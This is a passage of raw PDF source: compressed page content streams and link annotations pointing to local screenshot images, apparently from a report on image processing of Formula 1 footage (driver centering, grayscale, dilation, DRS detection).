":Xcm?csUidyPra;):Z#b+-4{XuL3=IGͅBIٌl钌L@ 54|Unj7p.e:0g󨹶4 l=v5JPV,6>2eLĮ 73+u~vUjN)p_׋ѱP@{Ӆ@!0FQu0 -wN 醫MK׏7[]P8cZS^:{KݍI~P{f^mǭ^ݾR*XV@o ZtAzXg|K$8`+޻i4eN[.s;h/s"*;,cy[m{8\VT3{UN RJR?ճ}!n9`2VW+c's77 17oϊ+?y}7+;Ky>H۹DїkZ@þj`_`)mMOfZq"ԙx+ #/=(cgSRXV6aě-SFߗ\ܝR \Gz>'ɁgZO4M'c#o}#ݨ%i{O}֘Mc7fDb/'!Нt/r=sy>Ia:HZFrRSwL,K8eZkC=r]λ^,r9urk #䔤2pk+G3[ -LEA55:c@cϞȓ~ -+$-WD`!7]OH̽~'y< -Ed57W^|m[Dgt^߷+e'c%1+G7^STuFQ0ZI[%2s3gpګ`.  [+~Ghd0l6WAj:.5ėbz2=J[lmik(2YsUܔ!"ހuKbf? nn5+|f%Iߚԏvc$)q,>/O>1=)JaiU=7cu^N@:\|r_QpF1( Ţp4 x! .(z{$ -h4@P{DVCV> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/CenteredDriver.png) +>> +>> +endobj +1066 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 424.368822 555.889134 402.046978 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/CenteredDriver.png) +>> +>> +endobj +1067 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 402.046978 297.637795 387.032578 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/CenteredDriver.png) +>> +>> +endobj +1068 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 319.467778 39.386457 304.453378 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/UncenteredDriver.png) +>> +>> +endobj +1069 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 319.467778 555.889134 303.475149 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/UncenteredDriver.png) +>> +>> +endobj +1070 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 303.475149 297.637795 288.460749 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/UncenteredDriver.png) +>> +>> +endobj +1071 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 102.657549 39.386457 87.643149 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VerstappenFolder2.png) +>> +>> +endobj +1072 0 obj +<< +/Filter /FlateDecode +/Length 779 +>> +stream +xVn1 WHyI] `QT$bXj In2Shzps πDc +ez#L0a!9J)FIXADiz7}PcB +Z >OW3hO+;* ] (=S%R익pdֻx9(35zM&C}~nNL^Gg0"G:ԑ=}͌57Qo-4XA7l!֬CnS.['swv69p޽Xuhm$(Gن|<ܷ .}^O߂Oe? JsYlW_Z[cbΟ~N'c:*ȥel%) A/"n!f-@r).kޕ3 C˂3A0!:Nɒ8`vkoمND)hLw'z.fڒ0 +tEEKJPi$dKv]TEn6 &&Ɗ.+'u +"h't/.I +W= B琗맢y`".IL"n毃 G|> +endobj +1074 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 494.636457 511.523622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VerstappenFolder2.png) +>> +>> +endobj +1075 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 511.523622 297.637795 496.509222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/VerstappenFolder2.png) +>> +>> +endobj +1076 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 365.133222 39.386457 350.118822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ImageDecoding1.png) +>> +>> +endobj +1077 0 obj +<< +/Filter /FlateDecode +/Length 1245 +>> +stream +xXn6 }W%Q Cv}h1Ef̢nl,Y\`eZ"#5/#c +ލӇq*_z)8ؠBbr1RLcZYaesC*hbQLG=hwÛ=)={8l_1*QԛD6T`xi`qF.*ԇo (@8CpvtWs3ZWxbAm*ɍA[8 ~o~)59 qwUPnYhVQz#af*=@syaiKm}|h5pE{#znA*Kͻ=) kfyBIc2U_sv;tY]zs=$idACv,(ƝX^B<ڗj}jܭ7Ӷw> +endobj +1079 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 555.889134 325.051773 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ImageDecoding1.png) +>> +>> +endobj +1080 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 325.051773 297.637795 310.037373 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ImageDecoding1.png) +>> +>> +endobj +1081 0 obj +<< +/Filter /FlateDecode +/Length 2098 +>> +stream +x\͎7 )UD% ȡ@ m-?@î7KR 4Ҍ&@9d^{eY#R"=ȟ`bLpx{OqOyWyy6q'4#Ĵg:/B-?w?#3)D=`?=co=ET]0>4E BcrwgC*7[뢵^Xo-%yțxGXs;>#>Que\QxdӰPՇj69c,Ӥ5!0vJj0m¨S4O}l1Pfqz3j<bYe2]LɌ!lYoMOXЧ&A^`  ik!dnCmVCZIrG1I`!ZiG;qA(CR6nyR !ݎ8p;Ni}J٣DBf~9]2IRjyĘVB k= aA {sd hV"ۺ>/cݹ`N0uC8+j!uEx3kQ,0.yP Ŵ8z[l1yj'YǢk:ħ-XVW1?q&Zqڒi}󪝌V(sB8MJݹ5xL'%&ٮKK @v~ Ϗr[~Gl6%w>Җ\+w>1LBhU+wL+b!X PoN>zM.*VE)+gԻ xF!1'Cu0X5䑖Y)]tAJsu~_}z + -e"P.=hRomoN"?*b+81lς|ގˎ X{"0y|*/w|G# +endstream +endobj +1082 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1081 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1083 0 obj +<< +/Filter /FlateDecode +/Length 2463 +>> +stream +xZnWD7Ebd1f drjԽ!EngvW[*܇$"IV#u ޙox+O緋Vyw f1*pr]J/^Z\sI}Ћ¯*R6͐/6/&@{?i0ϸ_~Z|Es,{t!)Ĭ4ԲZkw-'҆VF+Sx4I7 FBtԣ7B1< sHH٩1g=`4_ʹ`\ +FW#^@\HE{- g5`701 /[okزBZ3m_gY6#ZU.xr I4]rC\t]͊dAPR$W Q aX8OXhd(wF9>g"_ Mv=&QB.F@*.Ocw ,_ 'bHbz R*DI15-{^8#jT +]|V70Um%\נ(^zML:GY2Zvm>Ĵ2u^3 +g~\蝕Rec3Y~.tz$lބQ2ݎL"u[eZmcYEȲ +1+A{0"< *h" $}dN~U 3n UjBd$>&A(>9uuxV1a. ^> 2ZM<̬8|$$c5ٴ\q**Nck#j(DP窐K6͐0Jh!O0O _͑ 0 +D%Z>`q:ù]j 1ZYx]Ą;(aRg3"&4~t&o-3Rbg7X܍ֲEz$edҤf]*Vr7W\MpnSYaq # Bע&ky/ K!_h[,0Ϟ2ՖQ[a6UKlAԃJUãES>_1ejtW$f=21%aMpS T&j5&m60*AÑ6<>02s]6O +>e]Ӥ" f@ʋhIX1 aÙ۲r4dX9!u=:> +jŐtfsuFJk=C&6 cB0CiW79=Ec]M,FC4R)CQ#8@6 A*%8nY3kO"c 6ҵjr#8fި9}8ćC4_Z@)0(jT4pc෠3E;G`a Gk]FZsf->`j* [q~Q-=4{şKE&c'=,=aY䣊Nh]ryмѫټMmeaRտzϩ+ q>Έ:sZ}QEC9m{i8:1h~ +P UmeN=ԗ/Hѿ) Wcĭ#~D"v;a~΄TZu&- #bOg"̫3S 1¹X$Nl&sd9isމS+#rѩR&xn7ݏoQ?Ao9(އ |uy+7\5+og1?RvWK4g++C}$.rr K\hӋa*~MUҏ/V!-/]aMoV'c$UCʄ+%՞$cPB⼴ki +endstream +endobj +1084 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1083 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1085 0 obj +<< +/Filter /FlateDecode +/Length 2501 +>> +stream +xZ[d~_φȺ_`hH 6cp$vyˮa)IG];Co#MU_8r>^>>8sӿ4n>1t4 Nx&J1Ï_ys;BHɌ֛8B߯?> Ə?vBR#+ɂR㇃S%f#Ff_ ̄tzϬKIǔK +!a0Y\tEnzNdHMDc|t35LmZ3/?7?9Ȑ3?^y\ѵpn}H/80oC?ntǧk<_Wy۞12c2M.K1\iise= Zx +mLAgG+:ߥȵ6#CJ! .[}4dV%yD'PelmEY2WZ1)M .TZ BA0km2_$61-/n J1 DEGWBVfl2Y=,I U)3-x;0q̔2-y_z~v6~ +ʝ{CyRR\ԒA͠7q]VmV'z1ϐfJ"|t18!#z(:$Z|CP&Ʈη6'ќx%&WJ&ob' HU3NAȆ]|405@vg3W yV-.+Ur,٥xyXq4A?;6v +X膐,f0)ş"xƐŐ3KrMxm{& ۦ:lF]|. +b+3_ʛ$6%)LLbs/)bT幵;TS%%FTğ'e68kĸ}5Q'7vgp׌%aLCx+o"0>r--I? }0"W:xG~|,腓a'witX-mzFJ?#I] +dVT"{a3βX#bՉ2vه j1 v69 bY YׁW{XY +S4T?{eGu]}Yv|>@N!oȼVm{AygJuF-{V'3D^jædJ߱9R +L@6d Cį;+`XGVqW;륛ﶦIRt~EM?6yG5F[ If3v=dіo@;{T;=B+^ðn͚0K<*"t׊'HI,v6B`~ìq1FUdԠbg͙ʈ&M% 7ri5HN;VoRB*#ܢrk0lr\ńN +!V~W5:`@)I9ԕ9\uv^>%C +ܭ%,>14,k9adף'lH|S,v"pppiN'@'):Rte H`|^WIϤTiJ&tX #Y ktxrHѼ퐰#Wb/\#NOB:SMĭs*^>>22tlMM (:mDǷvVJhբǪUDDj쏴gex 9l&x Lg}=io |u l.*[ _Du-8p=dL;2[Xav9Bc`{D"7~,V2DҨvkDќ,Šr,1 ,BTuL0i1pB;^hÛ ߁sʕ0zbɶ#H|QV(3лtZ)Q5#Eo[A[r;f)d*%#V8Hm*f c20XyÌUh=x%]tځ)ԡ +3x_ߺu6j7iI^ #D%ab6 ZI!>rOib}pPGMSPg#T$SG!֐LxPIy ӥO+J+Q:Jd>i[{3fw\Q̧GA;d-syA*ڟI:/ ZUDD9%1 c锻1l zMNa:7= +endstream +endobj +1086 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1085 0 R +/Resources 4 0 R +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1087 0 obj +<< +/Filter /FlateDecode +/Length 1834 +>> +stream +xYK4CJ@Bӝ%ʏˎ=p`Z$v\U_=r^ }pV/gpK#tO1tv i J1nr;r绠y!%3"Xoϗwg eHc8Go_N,y˧ӻ_/"'*/'΍\{|n@Y#to*zCg86^4N1x-2~mm|M+eek}KsYtN/e$˥#"sM h¼&nb4jx\J9 A B{Ko`2ynqtt| iu}Y: N\|ϋ:#v1HV0催 qI'cRCP// +D cgh@ 3Q"h4%p1t/z9)(3DT3I̠hT@{#ayn.4c`0fqg("Qh4nLo4*-]yн8TV +ł )sOE9W'^5|4u ě A6=֔b\׬/P0MxYY%ԾX[>"Tax2q"\|ƹuvsN_z?*X ]/KxTT6DA\%4 A:HƁC]sр+`0Wc{"nVB! [uW{"uh#Y1H +aY#936к=܁<s5+xƯ1`~+Izz sΤ*@iדq(Q=1T]WLd(S6YH)`0劾-qԳQv/rx=Y'cx]CjftyRja\i;%=UݦܔSZ )-J2d[^Ֆk_zs-eP2Egz mGa6a%GtUe}|;f̵Au/\`Ab8΀tg!0pcA > +endobj +1089 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 667.799622 39.386457 652.785222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/11ZSD.png) +>> +>> +endobj +1090 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 667.799622 112.136457 640.799622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/11ZSD.png) +>> +>> +endobj +1091 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 640.799622 297.637795 625.785222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/11ZSD.png) +>> +>> +endobj +1092 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 558.220422 39.386457 543.206022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/42340.png) +>> +>> +endobj +1093 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 558.220422 104.636457 531.220422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/42340.png) +>> +>> +endobj +1094 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 531.220422 297.637795 516.206022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/42340.png) +>> +>> +endobj +1095 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 448.641222 39.386457 433.626822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ZZAEB.png) +>> +>> +endobj +1096 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 448.641222 112.136457 421.641222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ZZAEB.png) +>> +>> +endobj +1097 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 421.641222 297.637795 406.626822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ZZAEB.png) +>> +>> +endobj +1098 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 93.201222 39.386457 78.186822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Clear44301.png) +>> +>> +endobj +1099 0 obj +<< +/Filter /FlateDecode +/Length 1092 +>> +stream +xWێ$5 }ﯨlǹHy@J@B<ԥk]_Υ=5j3U>9]0XYݔL.!{SXyDkcs D2~tz?çO+/MPi{(@axjj/S4282o*j& +Rkx! s L"1$G8s~_> d~} |m8P.B6F"`muQf3NFV%yC<^x +l]Ib&6Gnfcq4 ͡\V8XKycg2bq=;BC0^`Tͭ)q'piWp]hrvu8:XhRdPJ,!U(MB %;Ti MDc" +Ђy(]F^g^9ΛZTq?9>߅A/JȡPJi{oe@{F{^|ڱ&Q> XcoۜxzMZzWVo-ZCvLo>?FV=gT3@m6p:j(P[={鋊Jf}يX=k2V]U6n coSWjW[Wvt?nTp@N#TrЛ@N`0Rm:v|**(-GQgiU͒-W);/'ľ9NǤ~ԗ%$P-or 釻%EgMHPg|"e+7E>eB2nRkZj/ȊezY 2ev̜wA[1g_y}'i *zW}Qm|{N~zjvbbc_/nO}}=wk.% Ç?N6s,O>,ʋtz\Ι5sC=~iIB!ʫiNv~A5b;Xmj_`d$b~Svv\nܽGSV +endstream +endobj +1100 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1099 0 R +/Resources 4 0 R +/Annots [ 1101 0 R 1102 0 R 1103 0 R 1104 0 R 1105 0 R 1106 0 R 1107 0 R 1108 0 R 1109 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1101 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 300.386457 663.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Clear44301.png) +>> +>> +endobj +1102 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 663.023622 297.637795 648.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Clear44301.png) +>> +>> +endobj +1103 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 580.444422 39.386457 565.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ClearA5157.png) +>> +>> +endobj +1104 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 580.444422 330.386457 472.444422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ClearA5157.png) +>> +>> +endobj +1105 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 472.444422 297.637795 457.430022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/ClearA5157.png) +>> +>> +endobj +1106 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 174.033222 39.386457 159.018822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BeforeProcessing1.png) +>> +>> +endobj +1107 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 174.033222 115.136457 147.033222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BeforeProcessing1.png) +>> +>> +endobj +1108 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 147.033222 297.637795 132.018822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/BeforeProcessing1.png) +>> +>> +endobj +1109 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 88.852422 39.386457 73.838022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/GrayScale.png) +>> +>> +endobj +1110 0 obj +<< +/Filter /FlateDecode +/Length 1122 +>> +stream +xWM6 W>Hm/h/zh,Ų' vؖ%q=>I@'9azWzlg=_H\A8D ޻~=}c\Ĝ$ZqDZLG!;8j Nn,{\ǀ ֏J]Ό4= B8 &8Bq~wFK>CpB"! 'O?ۧ S7E. 1;)Jo z֪IO둖0)oӆ4q(~k]M4Q|YIg $OZt<6t'&(>mF¨Z$.B]K{Z)ZHEGYj_ncpI'[`7_(?9BI%=yɟUGcA .pWjS٪ڤ$5v}R+cBsI&g@rJ.agFF-١&NͼPZ>,J^d|HۡĖ +%>^dLVq}W͹q}˙T7J +\Y뗭8劋K*w蚻֯zm&_KhՒ<\ZqynܔrQJ)#7t!''#Sw +.׶XQ kK4Xa՜-9@rӔj s=^GD+77._8g۸ !"uglb%nG k>}x@~Kc] t#]$kMokVKIo +endstream +endobj +1111 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1110 0 R +/Resources 4 0 R +/Annots [ 1112 0 R 1113 0 R 1114 0 R 1115 0 R 1116 0 R 1117 0 R 1118 0 R 1119 0 R 1120 0 R 1121 0 R 1122 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1112 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 771.023622 115.136457 744.023622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/GrayScale.png) +>> +>> +endobj +1113 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 744.023622 297.637795 729.009222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/GrayScale.png) +>> +>> +endobj +1114 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 685.842822 39.386457 670.828422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/InvertColor.png) +>> +>> +endobj +1115 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 685.842822 115.136457 658.842822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/InvertColor.png) +>> +>> +endobj +1116 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 658.842822 297.637795 643.828422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/InvertColor.png) +>> +>> +endobj +1117 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 576.263622 39.386457 561.249222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Scaling.png) +>> +>> +endobj +1118 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 576.263622 342.386457 468.263622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Scaling.png) +>> +>> +endobj +1119 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 468.263622 297.637795 453.249222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Scaling.png) +>> +>> +endobj +1120 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 385.684422 39.386457 370.670022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Dilatation.png) +>> +>> +endobj +1121 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 385.684422 342.386457 277.684422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Dilatation.png) +>> +>> +endobj +1122 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 277.684422 297.637795 262.670022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/Dilatation.png) +>> +>> +endobj +1123 0 obj +<< +/Filter /FlateDecode +/Length 1881 +>> +stream +xY_6 ϧN%Q0l+pZa)(Yhŀ%p,KHϏ7? +!aӊO1{ïz!)ΐU6q  +@ND,ݛ_>ET5Q.̀!}?A?HC/}A݈w +'@Lv7?_HLi椵܁|?S8Mi̙2ʘ:i>/i^nPƩ9}{sOb~XyuNGӺ4̆Jۏ[6x!QX鴉=\[ X #pfR3Iim&]q}M`/7zsnu5WEZkQ []OUT6­/ K)C q&{ pD ͛W_-<*o#\bWQdsz+wvY\{-]]%4{-ago.B8l&J'rU^P 0αng,¬ +endstream +endobj +1124 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1123 0 R +/Resources 4 0 R +/Annots [ 1125 0 R 1126 0 R 1127 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1125 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 707.212422 39.386457 692.198022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screen/../Screens/Clean.png) +>> +>> +endobj +1126 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 707.212422 190.886457 653.212422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screen/../Screens/Clean.png) +>> +>> +endobj +1127 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 653.212422 297.637795 638.198022 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screen/../Screens/Clean.png) +>> +>> +endobj +1128 0 obj +<< +/Filter /FlateDecode +/Length 2184 +>> +stream +x]c5 f} + +* +*">g_v$'Mۙ]ҹLJ|_Ja#8yF#? + +q *68hp ?߼I!RBRZ .P^ }-RSzkdD7.İwݰk6 ̇ [`tܘVa溲3Ŗ2={lMţx\#]bZ gu<"\Ye5s2r + )Ӷ+F3,0MְaI)\!.c u=+BØ|J|L)iQ\$2DF蝛<9Qɉ@ǁ;8 7S汈g?~v;'M!3Lv M񨧬ip+e,!/wr> +endobj +1130 0 obj +<< +/Filter /FlateDecode +/Length 2272 +>> +stream +xZˮ#5+߶tuX. $ӈ %l.df*㶫|9řssf5iD%>Hˬš+/;9.Jɴϗ.~%مs!8G%,wBRː SA_]8*b4Ds9?/~~~q=Uy.] pMmZzgVa2uco=ϡ\}W&C1)Iz`&R7kd +hR0ON(5FU9H3Xq$eyXc~d廢\ZzZ(}݈W26|d",HX$zO +Ɓ]۷@tlV04S/afZɗWJ?u>7jCl{V⦄X;SzÜ"Uދdg_jʇ|" Ihp;0"pg`rȕڹ=v(=2rު]ZWƅ=HyT(u&hh2!aɌp +5vTĹH%/˹ wC}$1C"rlWzT P44; B 5s; ޱ4eWa oBҘpQYwD1WЀO,&xptN;H8[5V0ʄLnԣf*!*^`i?4VX<2 S֕8 FHJJ>k &/1 ruZ#ccd@!JEÄh,g7UmHLI5A74B ASձgT3 d| M薩Pн!հMlD#^Fsn93ɛ*7JL8aNH(l[k[F8`S]nm BfBaAp)%CgGO :ɡ#̓(I^ї+А#a x=g:TѹGG؉:q҅ٺ>ơOt jڵH-$UhЖSU5J*Pd'ɜk\F?˩ !UD0mS5%QA}?J|w^U=(K9Q*BnvڣC.r㸾^RCLU&L +\BO9=3Q6 C&6w]~]Y9_ ކDHCɽ'h:hO:jջ +'TEAIXPgնͶߥB'pJ*DTn'Q?}I{d;u8kV'ҊYV^C)n<"|H?spUl+w/!p.)i礢;k9`E]LQ(<8;PQ{RLxrÔ))/g2ƥ~XԿVq[kh8y0qCNRᎨ3^hcAaKl,yx5=`(>l#=!<Tm<30hH +[j;xxiЬy|pƹJJ9ӦR]3$OB{&6q0ENĽ `H@gXܫ$BT}K1 ܛ}yHOjR,:MO<VJ_=î<>RH:gn ?Q;il|;X8XO˕iLgQ9+ƗȊLVkfw(`\4:\_FDGWk_ G%)5 +endstream +endobj +1131 0 obj +<< +/Type /Page +/Parent 1 0 R +/MediaBox [ 0 0 595.275591 841.889764 ] +/Contents 1130 0 R +/Resources 4 0 R +/Annots [ 1132 0 R 1133 0 R 1134 0 R 1135 0 R 1136 0 R 1137 0 R 1138 0 R ] +/TrimBox [ 0 0 595.275591 841.889764 ] +/BleedBox [ 0 0 595.275591 841.889764 ] +>> +endobj +1132 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 637.770822 39.386457 622.756422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSFalse.png) +>> +>> +endobj +1133 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 637.770822 95.636457 610.770822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSFalse.png) +>> +>> +endobj +1134 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 610.770822 297.637795 595.756422 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSFalse.png) +>> +>> +endobj +1135 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 528.191622 39.386457 513.177222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSTrue.png) +>> +>> +endobj +1136 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 528.191622 95.636457 501.191622 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSTrue.png) +>> +>> +endobj +1137 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 297.637795 501.191622 297.637795 486.177222 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/DRSTrue.png) +>> +>> +endobj +1138 0 obj +<< +/Type /Annot +/Subtype /Link +/Rect [ 39.386457 101.433222 39.386457 86.418822 ] +/BS << +/W 0 +>> +/A << +/Type /Action +/S /URI +/URI (./Images/Screens/TestsCouleurs.png) +>> +>> +endobj +1139 0 obj +<< +/Filter /FlateDecode +/Length 2992 +>> +stream +x\ێ#9S|F} ,"vAg*ruL+>.u*c +?N_1R~^&1AE#񗯇:C2"Hb8*p*ux<˷̀ߵ:X!w~)$E_N;|M2Y_o]2#h52Et$ p/w|T[r'|0O8~LJXp^ cNQFC` Se!|ORylV TвNMa8| 3:Ry»+uL? u?̙M^ m"ADǟ$a?¸00TF~Y\M2| F?]>N_rMHirFBk3c*7}LCpW&PhyNT5]0 p F`rE@ӘHHP|îA럿A$x-83BvZ7o4 +.  \M +]+Th.E S9n9yqՕ\\v姫!*|Zm]HKI If.: UWnO>\1u.8HXlV#F3S)"A!%9Yu+uA TM;% +?b<=\2Wr ML|uQj hZR{+rI7rN9cSB<]ܜ]ʫ8']CR%XAZ=[_Q{&^ (Ĭ6*" rL,ȍ.,&OʅK%h$g5?RQA.wS@r1RPhdJq)fghش>raq1"pAs>xet%|^~,Lepҧ7jwUf.KˮUrt){H^O.|xޙ@J-#[nmY$T!^<'NYeLJEM|+!uHB+UlT{uiiYwb<rxSօ$R@Il Y:N."2 +*K!D:/C-B$ ɻBB *gLZ "ɖƯ ҃{/k몤es%p=n&SB]\ڂ7Ciၩِђ* ٢&Hf$\4<^.V%-Jy0B=-JU %յ3ev颏-Cfz9 2cހeKw@@1Qr /-V.]ԂLx[ +ĦOL<: 0E[t<t.\'lN}M ԷFw Rn R_)%rJE}- 